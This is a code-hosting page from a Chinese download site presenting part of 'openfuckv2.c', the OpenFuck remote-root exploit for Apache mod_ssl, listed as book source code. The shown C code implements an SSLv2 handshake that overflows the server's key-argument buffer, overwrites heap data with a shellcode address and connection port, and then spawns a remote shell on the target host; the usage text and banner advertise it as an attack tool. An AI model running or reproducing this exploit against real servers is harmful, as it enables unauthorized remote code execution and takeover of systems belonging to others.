⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 openfuckv2.c

📁 LinuxTools一书随书源代码
💻 C
📖 第 1 页 / 共 3 页
字号:
		}		else {			return 0;		}	}	return rec_len;}/* send an ssl packet, encrypting it if ssl->encrypted is set */void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len){	unsigned char buf[BUFSIZE];	unsigned char* p;	int tot_len;	MD5_CTX ctx;	int seq;	if (ssl->encrypted)		tot_len = rec_len + MD5_DIGEST_LENGTH;	/* RC4 needs no padding */	else		tot_len = rec_len;	if (2 + tot_len > BUFSIZE) {		printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);		exit(1);	}	p = buf;	s2n(tot_len, p);	buf[0] = buf[0] | 0x80;	/* two byte header */	if (ssl->encrypted) {		/* calculate the MAC */		seq = ntohl(ssl->write_seq);		MD5_Init(&ctx);		MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);		MD5_Update(&ctx, rec, rec_len);		MD5_Update(&ctx, &seq, 4);		MD5_Final(p, &ctx);		p+=MD5_DIGEST_LENGTH;		memcpy(p, rec, rec_len);		/* encrypt the payload */		RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);	}	else {		memcpy(p, rec, rec_len);	}	send(ssl->sock, buf, 2 + tot_len, 0);	/* the sequence number is incremented by both encrypted and plaintext packets*/	ssl->write_seq++;}/* Send a CLIENT HELLO message to the server */void send_client_hello(ssl_conn *ssl){	int i;	unsigned char buf[BUFSIZE] =		"\x01"			/* client hello msg */		"\x00\x02"		/* client version */		"\x00\x18"		/* cipher specs length */		"\x00\x00"		/* session id length */		"\x00\x10"		/* challenge length */		"\x07\x00\xc0\x05\x00\x80\x03\x00"	/* cipher specs data */		"\x80\x01\x00\x80\x08\x00\x80\x06"		"\x00\x40\x04\x00\x80\x02\x00\x80"		"";									/* session id data */	/* generate CHALLENGE LENGTH bytes of challenge data */	for (i = 0; i < CHALLENGE_LENGTH; i++) {		ssl->challenge[i] = (unsigned char) (rand() >> 24);	}	memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);	send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);}/* Get a SERVER HELLO response from the server */void get_server_hello(ssl_conn* ssl){	unsigned char buf[BUFSIZE];	unsigned char *p, *end;	int len;	int server_version, cert_length, cs_length, conn_id_length;	int found;	if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {		printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));		exit(1);	}	if (len < 11) {		printf("get_server_hello: Packet too short (len = %d)\n", len);		exit(1);	}	p = buf;	if (*(p++) != SSL2_MT_SERVER_HELLO) {		printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]);		exit(1);	}	if (*(p++) != 0) {		printf("get_server_hello: SESSION-ID-HIT is not 0\n");		exit(1);	}	if (*(p++) != 1) {		printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n");		exit(1);	}	n2s(p, server_version);	if (server_version != 2) {		printf("get_server_hello: Unsupported server version %d\n", server_version);		exit(1);	}	n2s(p, cert_length);	n2s(p, cs_length);	n2s(p, conn_id_length);	if (len != 11 + cert_length + cs_length + conn_id_length) {		printf("get_server_hello: Malformed packet size\n");		exit(1);	}	/* read the server certificate */	ssl->x509 = NULL;	ssl->x509=d2i_X509(NULL,&p,(long)cert_length);	if (ssl->x509 == NULL) {		printf("get server hello: Cannot parse x509 certificate\n");		exit(1);	}	if (cs_length % 3 != 0) {		printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");		exit(1);	}	found = 0;	for (end=p+cs_length; p < end; p += 3) {		if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))			found = 1;	/* SSL CK RC4 128 WITH MD5 */	}	if (!found) {		printf("get server hello: Remote server does not support 128 bit RC4\n");		exit(1);	}	if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {		printf("get server hello: CONNECTION-ID-LENGTH is too long\n");		exit(1);	}	/* The connection id is sent back to the server in the CLIENT FINISHED packet */	ssl->conn_id_length = conn_id_length;	memcpy(ssl->conn_id, p, conn_id_length);}/* Send a CLIENT MASTER KEY message to the server */void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {	int encrypted_key_length, key_arg_length, record_length;	unsigned char* p;	int i;	EVP_PKEY *pkey=NULL;	unsigned char buf[BUFSIZE] =		"\x02"			/* client master key message */		"\x01\x00\x80"	/* cipher kind */		"\x00\x00"		/* clear key length */		"\x00\x40"		/* encrypted key length */		"\x00\x08";		/* key arg length */	p = &buf[10];	/* generate a 128 byte master key */	for (i = 0; i < RC4_KEY_LENGTH; i++) {		ssl->master_key[i] = (unsigned char) (rand() >> 24);	}	pkey=X509_get_pubkey(ssl->x509);	if (!pkey) {		printf("send client master key: No public key in the server certificate\n");		exit(1);	}	if (pkey->type != EVP_PKEY_RSA) {		printf("send client master key: The public key in the server certificate is not a RSA key\n");		exit(1);	}	/* Encrypt the client master key with the server public key and put it in the packet */	encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);	if (encrypted_key_length <= 0) {		printf("send client master key: RSA encryption failure\n");		exit(1);	}	p += encrypted_key_length;	if (key_arg_overwrite) {		/* These 8 bytes fill the key arg array on the server */		for (i = 0; i < 8; i++) {			*(p++) = (unsigned char) (rand() >> 24);		}		/* This overwrites the data following the key arg array */		memcpy(p, key_arg_overwrite, key_arg_overwrite_len);		key_arg_length = 8 + key_arg_overwrite_len;	}	else {		key_arg_length = 0;	/* RC4 doesn't use KEY-ARG */	}	p = &buf[6];	s2n(encrypted_key_length, p);	s2n(key_arg_length, p);	record_length = 10 + encrypted_key_length + key_arg_length;	send_ssl_packet(ssl, buf, record_length);	ssl->encrypted = 1;}void generate_key_material(ssl_conn* ssl){	unsigned int i;	MD5_CTX ctx;	unsigned char *km;	unsigned char c='0';	km=ssl->key_material;	for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {		MD5_Init(&ctx);		MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);		MD5_Update(&ctx,&c,1);		c++;		MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);		MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);		MD5_Final(km,&ctx);		km+=MD5_DIGEST_LENGTH;	}}void generate_session_keys(ssl_conn* ssl){	generate_key_material(ssl);	ssl->read_key = &(ssl->key_material[0]);	ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));	RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);	ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);	ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));	RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);}void get_server_verify(ssl_conn* ssl){	unsigned char buf[BUFSIZE];	int len;	if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {		printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));		exit(1);	}	if (len != 1 + CHALLENGE_LENGTH) {		printf("get server verify: Malformed packet size\n");		exit(1);	}	if (buf[0] != SSL2_MT_SERVER_VERIFY) {		printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n", (int)buf[0]);		exit(1);	}	if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {		printf("get server verify: Challenge strings don't match\n");		exit(1);	}}void send_client_finished(ssl_conn* ssl){	unsigned char buf[BUFSIZE];	buf[0] = SSL2_MT_CLIENT_FINISHED;	memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);	send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);}void get_server_finished(ssl_conn* ssl){	unsigned char buf[BUFSIZE];	int len;	int i;	if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {		printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));		exit(1);	}	if (buf[0] != SSL2_MT_SERVER_FINISHED) {		printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n", (int)buf[0]);		exit(1);	}	if (len <= 112 /*17*/) {		printf("This server is not vulnerable to this attack.\n");		exit(1);	}	cipher = *(int*)&buf[101];	ciphers = *(int*)&buf[109];	printf("cipher: 0x%x   ciphers: 0x%x\n", cipher, ciphers);}void get_server_error(ssl_conn* ssl){	unsigned char buf[BUFSIZE];	int len;	if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {		printf("get server finished: Expected SSL2 MT ERROR, got %x\n", (int)buf[0]);		exit(1);	}}void usage(char* argv0){	int i;	printf(": Usage: %s target box [port] [-c N]\n\n", argv0);	printf("  target - supported box eg: 0x00\n");	printf("  box - hostname or IP address\n");	printf("  port - port for ssl connection\n");	printf("  -c open N connections. (use range 40-50 if u dont know)\n");	printf("  \n\n");	printf("  Supported OffSet:\n");	for (i=0; i<=MAX_ARCH; i++) {		printf("\t0x%02x - %s\n", i, architectures[i].desc);	}	printf("\nFuck to all guys who like use lamah ddos. Read SRC to have no surprise\n");	exit(1);}int main(int argc, char* argv[]){	char* host;	int port = 443;	int i;	int arch;	int N = 0;	ssl_conn* ssl1;	ssl_conn* ssl2;	printf("\n");	printf("*******************************************************************\n");	printf("* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *\n");	printf("*******************************************************************\n");        printf("* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *\n");        printf("* #hackarena  irc.brasnet.org                                     *\n");	printf("* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\n");	printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\n");	printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\n");	printf("*******************************************************************\n");	printf("\n");	if ((argc < 3) || (argc > 6))		usage(argv[0]);	sscanf(argv[1], "0x%x", &arch);	if ((arch < 0) || (arch > MAX_ARCH))		usage(argv[0]);	host = argv[2];	if (argc == 4)		port = atoi(argv[3]);	else if (argc == 5) {		if (strcmp(argv[3], "-c"))			usage(argv[0]);		N = atoi(argv[4]);	}	else if (argc == 6) {		port = atoi(argv[3]);		if (strcmp(argv[4], "-c"))			usage(argv[0]);		N = atoi(argv[5]);	}	srand(0x31337);	for (i=0; i<N; i++) {		printf("\rConnection... %d of %d", i+1, N);		fflush(stdout);		connect_host(host, port);		usleep(100000);	}	if (N) printf("\n");	printf("Establishing SSL connection\n");	ssl1 = ssl_connect_host(host, port);	ssl2 = ssl_connect_host(host, port);	send_client_hello(ssl1);	get_server_hello(ssl1);	send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);	generate_session_keys(ssl1);	get_server_verify(ssl1);	send_client_finished(ssl1);	get_server_finished(ssl1);	printf("Ready to send shellcode\n");	port = get_local_port(ssl2->sock);	overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);	overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);	*(int*)&overwrite_next_chunk[156] = cipher;	*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;	*(int*)&overwrite_next_chunk[196] = ciphers + 16;	/* shellcode address */	send_client_hello(ssl2);	get_server_hello(ssl2);	send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);	generate_session_keys(ssl2);	get_server_verify(ssl2);	for (i = 0; i < ssl2->conn_id_length; i++) {		ssl2->conn_id[i] = (unsigned char) (rand() >> 24);	}	send_client_finished(ssl2);	get_server_error(ssl2);	printf("Spawning shell...\n");	sleep(1);	sh(ssl2->sock);	close(ssl2->sock);	close(ssl1->sock);	return 0;}/* spabam: It isn't 0day */

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -